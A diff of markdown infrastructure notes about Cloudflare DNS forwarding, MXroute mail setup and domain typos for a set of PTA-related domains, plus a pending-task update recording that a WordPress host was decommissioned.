   Caddy. Caddy only runs on Core (152.53.192.33), which is why the webmail redirect
   lives there.
+- `timapat.org` (as requested 2026-09-11) is NOT a registered domain — PIR whois
+  returns "Domain not found". The real domain is `timapta.org` (letters transposed).
+- Forwarding toward `ptatime.org` (2026-09-11): `ptatime.org` zone `7eaa5a94be7cd74e82852f1f287a9235`
+  exists but has ZERO DNS records — no web, no mail. Redirects land on a dead domain
+  until something is deployed there.
+- Page Rule pattern `timapta.org/*` does NOT match subdomains — only the exact host.
+  Verified: `register.timapta.org` (200) and `webmail.timapta.org` (302 → MXroute
+  Roundcube) are unaffected by the new apex/www forwarding rules.
+- Adding a proxied dummy A record at the apex does NOT affect mail: MX, SPF, DKIM and
+  DMARC records are independent of the HTTP path. Confirmed resolving after the change.
+- Freshly recreated names take ~60s to appear on Cloudflare's authoritative NS. A
+  `dig @<ns>.ns.cloudflare.com` NXDOMAIN immediately after record creation is
+  propagation lag, not a failed create — re-check the API record and retry.
 - `ptatima.org` forward required a proxied dummy A record so the Cloudflare Page Rule
   can intercept before routing.
 - MXroute domain-add requires a `_da-verify-*` TXT record; the add fails until that

sites/app3.md

@@ -45,5 +45,5 @@
 
 ## Pending
 
-- Migrate remaining WordPress sites from wphost02 to app3
+- ~~Migrate remaining WordPress sites from wphost02 to app3~~ — moot: wphost02 DECOMMISSIONED (2026-08-28), deleted from Hetzner account
 - Update all CloudPanel passwords (sanitized from plaintext in this doc 2026-07-23 — values in Vaultwarden)